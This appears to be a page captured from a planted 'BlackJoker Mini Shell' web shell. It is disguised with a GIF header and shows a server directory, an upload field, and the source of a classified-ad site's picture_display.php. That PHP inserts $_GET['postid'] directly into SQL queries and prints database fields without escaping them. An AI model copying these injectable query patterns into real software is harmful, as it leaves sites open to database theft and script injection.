GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/picture_display.php

<? session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
<? include "includes/header_top.php";?>

<body>

<? include "includes/header.php";?>
<div class="wrapper">
<div class="top_space" style="height:15px;"></div>
<div class="inside_wrp_top">
 <div class="insd_wr_top">Picture</div>
 <div class="insd_wr_mid">
 	<div class="mid_topp">  	
     <!-- <p style="width:970px; float:left; padding-left:5px; color:#666; font-weight:bold; font-family: 'Roboto Condensed', sans-serif; font-size:16px;">Title :</p>-->
     <?
     	$sql_postadinfo="SELECT * FROM post_ad WHERE id='".$_GET['postid']."'";
		$res_postadinfo=execute_query($sql_postadinfo);
		$row_postadinfo=mysql_fetch_array($res_postadinfo);
	 
	 ?>
     
      <table border="0" cellpadding="0" cellspacing="0">
      	
        <tr height="5px;"></tr>
        <tr>
        	<td style=" width:130px;padding-left:5px; color:#666; font-weight:normal; font-family: 'Roboto Condensed', sans-serif; font-size:16px;">Contact Number:</td>
            <td><?=$row_postadinfo['phoneno']?></td>
        </tr>
        <tr height="5px;"></tr>
        <tr>
        	<td style=" width:130px; padding-left:5px; color:#666; font-weight:normal; font-family: 'Roboto Condensed', sans-serif; font-size:16px;">Information :</td>
            <td><?=$row_postadinfo['ad_dtls']?></td>
        </tr>
      </table>
          
    </div>
    <br/>
    <div style="width:900px; margin:0 auto;">  	
      	<? $sql_pics="SELECT * from estservice_photo WHERE postid='".$_GET['postid']."'";

				    $res_pics=execute_query($sql_pics);	
					?>
                    <div style="width:880px; margin:0 auto;">
                    <?
					while($row_pics=mysql_fetch_array($res_pics))

					

					{

						if($row_pics['picture']!=""){

				?>
				
                <p  style="text-align:center;  margin:5px 10px 5px 10px;">

                    <img src="avtar/<?=$row_pics['picture'] ?>" style="border:1px solid #380C44; border-radius:3px;" /></a>

                </p>
               

            <? }}?>
            	<p  style=" text-align:center; margin:5px 20px 5px 5px;">
					<? if($row_postadinfo['picture']!="")
					{?>
            		<img src="avtar/<?=$row_postadinfo['picture'] ?>" style=" border:1px solid #000000; border-radius:3px;" />
					 
					<? } else {?>
                    		<img src="images/No Image.gif" style="width:84px; height:90px;; border:1px solid #000000; border-radius:3px;" />
                    <? } ?>
			
                </p>
    </div>
    
    <br class="spacer" />
 </div>
 <div class="insd_wr_bottom"></div>	
</div>

  
</div>
<br class="spacer" />

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0